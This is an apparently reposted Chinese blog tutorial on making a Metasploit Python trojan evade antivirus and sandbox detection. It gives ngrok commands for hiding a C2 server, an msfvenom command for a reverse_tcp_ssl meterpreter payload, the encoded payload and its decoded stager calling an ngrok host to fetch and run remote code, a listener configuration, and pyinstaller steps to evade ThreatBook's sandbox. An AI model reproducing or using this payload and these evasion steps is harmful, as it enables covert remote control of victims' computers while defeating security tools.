【木馬免殺思路】msf木馬免殺 python轉exe(一) 截止2021年8月8日通殺360,火絨,微步


本文講述如何免殺msf木馬並成功上線,主要內容包括隱藏c2靜態查殺過行為查殺

0x00. 隱藏c2

為了隱藏c2,我們這里使用了ngrok的內網穿透,獲得了一個ngrok提供的域名(ngrok可在官網下載:https://ngrok.com/):

執行以下命令,將本地4455端口映射到公網的端口:

./ngrok tcp 4455

這樣我們就獲得了 6.tcp.ngrok.io這個域名,以及18260這個端口

0x01. 過行為查殺

使用msfvenom命令生成python木馬(為了繞過流量檢測,使用了reverse_tcp_ssl加密流量)

msfvenom -p python/meterpreter/reverse_tcp_ssl LHOST=6.tcp.ngrok.io LPORT=18260 -f raw -o payload.py --platform python -a python

生成的payload.py的內容如下:

exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHpsaWIsYmFzZTY0LHNzbCxzb2NrZXQsc3RydWN0LHRpbWUKZm9yIHggaW4gcmFuZ2UoMTApOgoJdHJ5OgoJCXNvPXNvY2tldC5zb2NrZXQoMiwxKQoJCXNvLmNvbm5lY3QoKCc2LnRjcC5uZ3Jvay5pbycsMTgyNjApKQoJCXM9c3NsLndyYXBfc29ja2V0KHNvKQoJCWJyZWFrCglleGNlcHQ6CgkJdGltZS5zbGVlcCg1KQpsPXN0cnVjdC51bnBhY2soJz5JJyxzLnJlY3YoNCkpWzBdCmQ9cy5yZWN2KGwpCndoaWxlIGxlbihkKTxsOgoJZCs9cy5yZWN2KGwtbGVuKGQpKQpleGVjKHpsaWIuZGVjb21wcmVzcyhiYXNlNjQuYjY0ZGVjb2RlKGQpKSx7J3MnOnN9KQo=')[0]))

將其中的base64編碼后的字符串進行解碼,得到如下內容,並保存為msf.py

 1 import zlib,base64,ssl,socket,struct,time
 2 for x in range(10):
 3     try:
 4         so=socket.socket(2,1)
 5         so.connect(('6.tcp.ngrok.io',18260))
 6         s=ssl.wrap_socket(so)
 7         break
 8     except:
 9         time.sleep(5)
10 l=struct.unpack('>I',s.recv(4))[0]
11 d=s.recv(l)
12 while len(d)<l:
13     d+=s.recv(l-len(d))
14 exec(zlib.decompress(base64.b64decode(d)),{'s':s})

此時,msfconsole中開啟監聽(由於使用了內網穿透,所以這里的lhost是127.0.0.1):

1 use exploit/multi/handler
2 set payload python/meterpreter/reverse_tcp_ssl
3 set lhost 127.0.0.1
4 set lport 4455
5 exloit

此時,運行msf.py,msf可成功上線:

 

0x02、過靜態查殺

把msf.py直接上傳到微步在線

被微步認為是惡意的原因:命中了威脅情報IOC

其實最簡單的處理辦法就是把ip改成自己vps的ip,但是這么一來,就無法做到隱藏c2的目的了

我們來分析一下,為什么會被情報判定系統命中呢:

  • 1. 明文上傳python文件,可以直接通過代碼獲取ngrok的域名
  • 2. 微步在沙箱中運行了該python文件,檢測了外連ip

那么如何解決呢?

  • 1. 加密,或上傳二進制文件
  • 2. 讓微步的沙箱無法運行我們上傳的文件

 1. 加密,或上傳二進制文件

使用pyinstaller把python文件轉成exe的二進制文件

安裝pyinstaller:

pip install pyinstaller

編譯msf.py(使用-F參數只生成一個文件):

pyinstaller -F msf.py

執行完畢后,會在dist目錄下生成msf.exe(在MacOS下生成的是msf)

然后執行msf.exe

如果報錯,no moudel named 'imp',需要在msf.py的import語句里再導入imp模塊

檢出率 2/25,被判定為安全

微步的沙箱為windows7系統,由於缺少某些必要的dll文件,導致無法運行此exe文件,因此無法命中ngrok域名 IOC情報

上線:

 

 

 

 

----------------------------------------

 如果上傳微步時選的win10環境,會被查殺,等我下次再想辦法繞過一下,現在去吃飯了


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM